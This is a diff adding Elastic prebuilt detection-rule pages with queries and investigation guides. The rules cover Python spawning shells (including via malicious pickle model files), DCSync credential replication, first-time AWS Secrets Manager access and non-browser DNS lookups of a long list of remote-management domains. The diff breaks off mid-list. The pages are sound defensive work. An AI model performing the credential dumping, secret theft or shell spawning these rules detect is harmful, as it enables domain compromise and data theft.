b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-python-spawned-a-shell-on-host.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-first-time-python-spawned-a-shell-on-host]] +=== First Time Python Spawned a Shell on Host + +Detects the first time a Python process spawns a shell on a given host. Malicious Python scripts, compromised dependencies, or model file deserialization can result in shell spawns that would not occur during normal workflows. Since legitimate Python processes rarely shell out to interactive shells, a first occurrence of this behavior on a host is a strong signal of potential compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling +* https://5stars217.github.io/2024-03-04-what-enables-malicious-models/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Spawned a Shell on Host* + + +Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — often spawn shell processes to perform reconnaissance, credential theft, persistence, or reverse shell activity. Since legitimate Python workflows rarely shell out with `-c`, a first occurrence is highly suspicious. + +This rule uses the New Terms rule type to detect the first occurrence of a Python process spawning a shell with the `-c` flag on a given host within a 7-day window. This approach reduces false positives from recurring legitimate Python workflows while surfacing novel, potentially malicious activity. + + +*Possible investigation steps* + + +- Examine the parent Python process command line to identify the script or command that triggered the shell spawn. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Review the shell command arguments to assess intent (credential access, reverse shell, persistence, reconnaissance). +- Inspect the full process tree to determine if the Python process was launched from an interactive session, a cron job, or an automated pipeline. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Correlate with other hosts in the environment to determine if the same behavior is occurring elsewhere, which may indicate a supply chain compromise. + + +*False positive analysis* + + +- Development environments where Python scripts legitimately shell out for system tasks (e.g., build scripts, CI/CD runners) may trigger this rule on first occurrence. Consider excluding known CI/CD working directories or build automation paths. +- Package installation via pip or conda may spawn shells during post-install scripts. These are excluded by the query filter. +- Jupyter notebooks executing system commands via `!` or `subprocess` may trigger this rule in data science environments. + + +*Response and remediation* + + +- Investigate the shell command that was executed and assess its impact (credential access, persistence, data exfiltration). +- If a malicious file is confirmed, quarantine it and identify its source (PyPI, Hugging Face, shared drive, email attachment). +- Scan other hosts that may have received the same file. +- Review and rotate any credentials that may have been accessed. +- Consider implementing `weights_only=True` enforcement for PyTorch model loading across the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:macos and event.type:start and event.action:exec and +process.parent.name:python* and +process.name:(bash or dash or sh or tcsh or csh or zsh or ksh or fish) and process.args:"-c" and +not process.command_line:(*pip* or *conda* or *brew* or *jupyter*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-account-performing-dcsync.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-account-performing-dcsync.asciidoc new file mode 100644 index 0000000000..2df8833bdd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-account-performing-dcsync.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-first-time-seen-account-performing-dcsync]] +=== First Time Seen Account Performing DCSync + +This rule identifies when a User Account starts the Active Directory Replication Process for the first time. Attackers can use the DCSync technique to get credential information of individual accounts or the entire domain, thus compromising the entire domain. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html +* https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml +* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md +* https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync +* https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen Account Performing DCSync* + + + +*Possible investigation steps* + + +- What did the alerted 4662 prove about the subject and replication request? + - Focus: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.Properties`, `winlog.event_data.AccessMask`, and `winlog.computer_name`. + - Hint: replication-right GUIDs map to `DS-Replication-Get-Changes` (`1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`), `DS-Replication-Get-Changes-All` (`1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`), and `DS-Replication-Get-Changes-In-Filtered-Set` (`89e95b76-444d-4c62-991a-0facbeda640c`). + - Implication: escalate faster when a human admin, new service account, or other non-machine principal used Control Access with DS-Replication-Get-Changes rights; lower suspicion only when the same stable SID and controller match one recognized directory-replication connector or AD backup/recovery job. + +- Do the 4662 object-access details show domain-wide replication or access to especially sensitive naming contexts? + - Why: DCSync stands out when the event shows replication extended rights plus access to the domain root or other high-value directory objects. + - Focus: `winlog.event_data.Properties`, `winlog.event_data.AccessMask`, `winlog.event_data.ObjectName`, and `winlog.event_data.ObjectType`. + - Hint: treat the domain naming context or root DN, such as `DC=corp,DC=example,DC=com`, as broader and higher risk; interpret Configuration, DomainDNSZones, ForestDNSZones, or specific object paths against the exact connector or job workflow before lowering severity. + - Implication: escalate on broad domain naming-context, high-value object, or DS-Replication-Get-Changes-All / In-Filtered-Set scope because the request can expose domain secrets; lower suspicion only when the same rights and object scope fit the exact connector workflow from step 1. + +- Does the subject logon session resolve to another domain controller or an unexpected source system? + - Focus: match `winlog.event_data.SubjectLogonId` to 4624 `winlog.event_data.TargetLogonId` on the same `host.id`, then read `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. !{investigate{"description":"","label":"Authentication events for the subject logon session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Range: search backward from `@timestamp` on the same `host.id` because the session-creating 4624 can predate the 4662 by minutes or hours. + - Hint: if the linked 4624 is missing or `source.ip` is absent, preserve `winlog.event_data.SubjectLogonId`, `winlog.computer_name`, and `@timestamp`. Missing authentication telemetry is unresolved, not benign. + - Implication: escalate when the session originates from a workstation, member server, rare admin host, or a DC interactive / remote-interactive logon; lower suspicion when the 4624 source, logon type, and auth package match recognized replication infrastructure. + +- Do surrounding authentication events show explicit-credential use or a session pattern that does not fit routine replication? + - Why: stolen or relayed credentials often leave 4624 or 4648 context riskier than the 4662 event alone. + - Focus: linked 4624 events where `winlog.event_data.TargetLogonId` matches the alerted `winlog.event_data.SubjectLogonId`, plus 4648 events for the same session; read `source.ip`, `winlog.logon.type`, `winlog.event_data.AuthenticationPackageName`, and `winlog.event_data.TargetServerName`. + - Hint: 4648 means credentials were presented, not that the replication succeeded; missing linked authentication telemetry is unresolved, not benign. + - Implication: escalate when the subject shows new remote-interactive or network sessions from unusual origins, explicit credentials for the alerted account or controller, or NTLM where the workflow normally uses Kerberos. + +- Did surrounding directory-object changes or related 4662 activity show how the account obtained or expanded replication rights? + - Focus: surrounding 4662 activity for `winlog.event_data.SubjectUserSid`, plus 5136 changes using `winlog.event_data.ObjectDN`, `winlog.event_data.AttributeLDAPDisplayName`, `winlog.event_data.AttributeValue`, and `winlog.event_data.OpCorrelationID`. !{investigate{"description":"","label":"Directory replication and rights events for the subject","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4662","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Properties","queryType":"phrase","value":"DS-Replication-Get-Changes","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4662","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Properties","queryType":"phrase","value":"DS-Replication-Get-Changes-All","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4662","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Properties","queryType":"phrase","value":"DS-Replication-Get-Changes-In-Filtered-Set","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4662","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Properties","queryType":"phrase","value":"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4662","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Properties","queryType":"phrase","value":"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4662","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Properties","queryType":"phrase","value":"89e95b76-444d-4c62-991a-0facbeda640c","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: group related 5136 records by `winlog.event_data.OpCorrelationID`; if 5136 visibility is absent, preserve the gap and answer from surrounding 4662 activity. + - Implication: escalate when 5136 shows recent ACL or delegation changes granting DS-Replication-Get-Changes rights to the subject or its groups, when another grantor touched sensitive delegation or domain-level objects, or when privileged 4662 access appears on multiple controllers. + +- If local evidence is still suspicious, did the same subject or replication-right scope touch other controllers? + - Focus: Windows Security 4662 and 5136 records for `winlog.event_data.SubjectUserSid` and `winlog.event_data.Properties`, grouped by `winlog.computer_name` and `winlog.event_data.ObjectName`. + - Range: start with the surrounding window, then expand only if the local subject, source, or rights scope remains suspicious. + - Implication: escalate domain-wide when the same subject or rights scope appears on multiple controllers or directory objects; keep scope local when only this controller shows activity, but do not close unresolved DCSync evidence from absence alone. + +- Based on the evidence gathered, what disposition is supported? + - Focus: identity, replication scope, session origin, authentication pattern, directory-rights changes, and controller spread. + - Implication: escalate when those categories show an unrecognized subject, broad scope, unexpected source, explicit-credential use, or privilege changes; close only when alert-local evidence plus supported recovery tightly bind one exact directory-replication connector or AD backup/recovery job, with outside confirmation when telemetry alone cannot prove legitimacy; preserve and escalate if evidence is mixed or incomplete. + + +*False positive analysis* + + +- Directory-replication connectors and AD backup/recovery jobs can legitimately trigger this rule. Confirm only when `winlog.event_data.SubjectUserSid`, `winlog.event_data.Properties`, `winlog.event_data.ObjectName`, recovered 4624 `source.ip`, and `winlog.computer_name` align to one exact connector or job run. For backup/recovery tooling, require 5136 or owner/product evidence that the activity was tool-driven rather than hands-on operator behavior. If telemetry cannot prove the workflow, require outside confirmation for that exact run; do not close from prior-alert recurrence alone. +- Build exceptions from the minimum confirmed workflow: stable `winlog.event_data.SubjectUserSid`, recovered 4624 `source.ip`, `winlog.event_data.Properties`, `winlog.event_data.ObjectName`, and `winlog.computer_name`, plus the specific product or connector identity that explains the access. Avoid exceptions on `winlog.event_data.SubjectUserName` alone, broad replication-right strings, or "first benign occurrence" claims without exact workflow confirmation. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact evidence that validated the directory-replication connector or AD backup/recovery job: subject SID, connector source, replication rights, object scope, controller, and confirming product or owner record. Create an exception only from those same workflow anchors. +- If suspicious but unconfirmed, preserve a case export containing the triggering 4662 event, linked 4624/4648 authentication records, recovered `source.ip`, replication rights/object fields, and any 5136 delegation-change records before containment. Apply reversible containment first, such as temporarily blocking the recovered `source.ip` from reaching domain controllers or isolating the unexpected non-domain-controller source host when its role tolerates isolation. Escalate to broader account disablement or host isolation only if credential-theft, relay, or privilege-change evidence appears. +- If confirmed malicious, use endpoint or identity-response tooling to isolate the unexpected source host and disable or reset the implicated account. If direct response is unavailable, escalate with the same artifact set to the AD or incident-response team. Record all preserved evidence before terminating processes, revoking access, or removing delegated rights. +- If confirmed malicious activity included broad domain scope in `winlog.event_data.ObjectName` or `winlog.event_data.ObjectType`, hand off to the AD incident-response team with the preserved evidence before privileged-account resets or delegated-rights cleanup. +- Review other controllers and sync hosts for the same `winlog.event_data.SubjectUserSid`, `source.ip`, and `winlog.event_data.Properties` before removing delegated rights or cleaning up changes. +- Eradicate only the unauthorized replication-right delegation or directory changes identified during the investigation: remove "DS-Replication-Get-Changes*" grants, restore modified directory objects or ACLs, and remediate the path that let the subject obtain replication capability. +- Post-incident hardening: restrict replication rights to authorized service accounts and sync hosts, retain Security 4662, 4624, 4648, and 5136 coverage on controllers, and document any uncovered variant or logging gap in the incident record for follow-up ownership. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Access must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-access + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:"4662" and host.os.type:"windows" and + winlog.event_data.Properties:( + *DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or + *DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or + *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c*) and + not winlog.event_data.SubjectUserName:(*$ or MSOL_*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: DCSync +** ID: T1003.006 +** Reference URL: https://attack.mitre.org/techniques/T1003/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-aws-secret-value-accessed-in-secrets-manager.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-aws-secret-value-accessed-in-secrets-manager.asciidoc new file mode 100644 index 0000000000..1bb8364a75 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-aws-secret-value-accessed-in-secrets-manager.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-first-time-seen-aws-secret-value-accessed-in-secrets-manager]] +=== First Time Seen AWS Secret Value Accessed in Secrets Manager + +An adversary with access to a compromised AWS service such as an EC2 instance, Lambda function, or other service may attempt to leverage the compromised service to access secrets in AWS Secrets Manager. This rule looks for the first time a specific user identity has programmatically retrieved a secret value from Secrets Manager using the GetSecretValue action. This rule assumes that AWS services such as Lambda functions and EC2 instances are setup with IAM role's assigned that have the necessary permissions to access the secrets in Secrets Manager. An adversary with access to a compromised AWS service would rely on its' attached role to access the secrets in Secrets Manager. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html +* https://detectioninthe.cloud/ttps/credential_access/access_secret_in_secrets_manager/ +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_BatchGetSecretValue.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Secrets Manager +* Tactic: Credential Access +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive + +*Version*: 321 + +*Rule authors*: + +* Nick Jones +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen AWS Secret Value Accessed in Secrets Manager* + + +AWS Secrets Manager is a service that enables the replacement of hardcoded credentials in code, including passwords, with an API call to Secrets Manager to retrieve the secret programmatically. + +This rule looks for the retrieval of credentials from Secrets Manager using `GetSecretValue` API calls. This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule indicating this is the first time a specific user identity has successfuly retrieved a secret value from Secrets Manager. + + +*Possible investigation steps* + + +- Identify the account and its role in the environment, and inspect the related policy. +- Identify the applications that should use this account. +- Investigate other alerts associated with the user account during the past 48 hours. +- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users. +- Contact the account owner and confirm whether they are aware of this activity. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Review IAM permission policies for the user identity and specific secrets accessed. +- Examine the request parameters. These might indicate the source of the program or the nature of its tasks. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- Review `entity.id` values for expected combinations of identity and secret value access. If this is an expected behavior, consider adding exceptions to the rule. +- False positives may occur due to the intended usage of the service. Tuning is needed in order to have higher confidence. Consider adding exceptions — preferably with a combination of user agent and IP address conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: secretsmanager.amazonaws.com + and event.action: GetSecretValue + and event.outcome: success + and not user_agent.original: *Fargate* + and not user.id: AWSServiceRole* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-dns-query-to-rmm-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-dns-query-to-rmm-domain.asciidoc new file mode 100644 index 0000000000..4b6fc2d80e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-dns-query-to-rmm-domain.asciidoc @@ -0,0 +1,372 @@ +[[prebuilt-rule-8-19-34-first-time-seen-dns-query-to-rmm-domain]] +=== First Time Seen DNS Query to RMM Domain + +Detects DNS queries to commonly abused remote monitoring and management (RMM) or remote access software domains from processes that are not browsers. Intended to surface RMM clients, scripts, or other non-browser activity contacting these services. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/002/ +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a +* https://lolrmm.io/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Slow +* Threat: Remote Management Tool Abuse +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen DNS Query to RMM Domain* + + +This rule flags DNS queries to commonly abused RMM or remote access domains when the requesting process is not a browser. Legitimate RMM and remote desktop software is frequently abused for C2, persistence, and lateral movement. + + +*Possible investigation steps* + + +- Identify the process process.executable that performed the DNS query and verify if it is an approved RMM or remote access tool. +- Review the full process tree and parent process to understand how the binary was launched. +- Check process.code_signature for trusted RMM publishers; unsigned or unexpected signers may indicate abuse or trojanized installers. +- Correlate with the companion rule "First Time Seen Remote Monitoring and Management Tool" for the same host to see if the RMM process was first-time seen. +- Investigate other alerts for the same host or user in the past 48 hours. + + +*False positive analysis* + + +- Approved RMM or remote support tools used by IT will trigger this rule; consider allowlisting by process path or code signer for known managed tools. +- Some updaters or installers (e.g. signed by the RMM vendor) may resolve these domains; combine with process name or parent context to reduce noise. + + +*Response and remediation* + + +- If unauthorized RMM use is confirmed: isolate the host, remove the RMM software, rotate credentials, and block the domains at DNS/firewall where policy permits. +- Enforce policy that only approved RMM tools from approved publishers may be used, and only by authorized staff. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-22-setup[Sysmon Event ID 22 - DNS Query] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.network-*, logs-windows.sysmon_operational-* METADATA _index +| WHERE host.os.type == "windows" + AND event.category == "network" + AND event.action in ("lookup_requested", "DNSEvent (DNS query)") + AND dns.question.name IS NOT NULL + +// Exclude browser processes +| WHERE NOT + process.name IN ( + "chrome.exe", "msedge.exe", "MicrosoftEdge.exe", "MicrosoftEdgeCP.exe", + "firefox.exe", "iexplore.exe", "safari.exe", "brave.exe", + "opera.exe", "vivaldi.exe", "msedgewebview2.exe" + ) + +// Extract the parent domain (last two labels, e.g. example.com) +| GROK dns.question.name """(?:[^.]+\.)+(?[^.]+\.[^.]+)$""" +| EVAL parent_domain = COALESCE(parent_domain, dns.question.name) + +// Known RMM parent domains, add or remove entries here as your environment changes. +| WHERE parent_domain IN ( + "01com.com", + "247ithelp.com", + "action1.com", + "addigy.com", + "aeroadmin.com", + "ammyy.com", + "anydesk.com", + "anyplace-control.com", + "anysupport.net", + "atera.com", + "aurelius.host", + "auvik.com", + "aweray.com", + "aweray.net", + "backdrop.cloud", + "barracudamsp.com", + "beamyourscreen.com", + "beanywhere.com", + "beinsync.com", + "beinsync.net", + "beyondtrustcloud.com", + "bomgar.com", + "bomgarcloud.com", + "centrastage.net", + "centuriontech.com", + "connectwise.com", + "crossloop.com", + "dameware.com", + "datto.com", + "datto.net", + "deskday.ai", + "deskroll.com", + "desktopstreaming.com", + "distantdesktop.com", + "donkz.nl", + "dwservice.net", + "ehorus.com", + "electric.ai", + "emcosoftware.com", + "ericom.com", + "fastsupport.com", + "fastviewer.com", + "fixme.it", + "fleetdeck.io", + "gatherplace.com", + "gatherplace.net", + "getgo.com", + "getscreen.me", + "gotoassist.at", + "gotoassist.com", + "gotoassist.me", + "gotohttp.com", + "gotoresolve.com", + "goverlan.com", + "heartbeatrm.com", + "helpme.net", + "helpwire.app", + "hoptodesk.com", + "hostedrmm.com", + "immy.bot", + "immybot.com", + "imperosoftware.com", + "instanthousecall.com", + "instanthousecall.net", + "intelliadmin.com", + "internapcdn.net", + "internetid.ru", + "iperius-rs.com", + "iperius.net", + "iperiusremote.com", + "islonline.com", + "islonline.net", + "itarian.com", + "itsupport247.net", + "jumpcloud.com", + "jumpdesktop.com", + "jumpto.me", + "kabuto.io", + "kabutoservices.com", + "kaseya.com", + "kaseya.net", + "kickidler.com", + "laplink.com", + "level.io", + "liongard.com", + "litemanager.com", + "litemanager.ru", + "logicnow.com", + "logmein-gateway.com", + "logmein.com", + "logmeininc.com", + "logmeinrescue.com", + "logmeinrescue.eu", + "lunixar.com", + "meshcentral.com", + "mikogo.com", + "mikogo4.com", + "miradore.com", + "msp360.com", + "mygreenpc.com", + "n-able.com", + "naverisk.com", + "nchuser.com", + "netop.com", + "netsupportmanager.com", + "netsupportsoftware.com", + "netviewer.com", + "ninjaone.com", + "ninjarmm.com", + "ninjarmm.net", + "nomachine.com", + "ntrsupport.com", + "opti-tune.com", + "optitune.us", + "oray.com", + "oray.net", + "panorama9.com", + "parsec.app", + "parsecusercontent.com", + "pcvisit.de", + "pilixo.com", + "playanext.com", + "pulseway.com", + "qetqo.com", + "r-hud.net", + "real-time-collaboration.com", + "remmon.hu", + "remote.it", + "remote.management", + "remotecall.com", + "remotedesktop.com", + "remotepc.com", + "remotetopc.com", + "remoteutilities.com", + "remotix.com", + "remotly.com", + "repairshopr.com", + "rmansys.ru", + "rmmservice.ca", + "rmmservice.eu", + "royalapps.com", + "rport.io", + "rudesktop.ru", + "rustdesk.com", + "rview.com", + "screenconnect.com", + "screenmeet.com", + "scrn.mt", + "servably.com", + "server-eye.de", + "set.me", + "setme.net", + "showmypc.com", + "signalserver.xyz", + "simple-help.com", + "skyfex.com", + "sorillus.com", + "splashtop.com", + "splashtop.eu", + "spyanywhere.com", + "spytech-web.com", + "startsupport.com", + "superops.ai", + "superops.com", + "superopsalpha.com", + "superopsbeta.com", + "supremocontrol.com", + 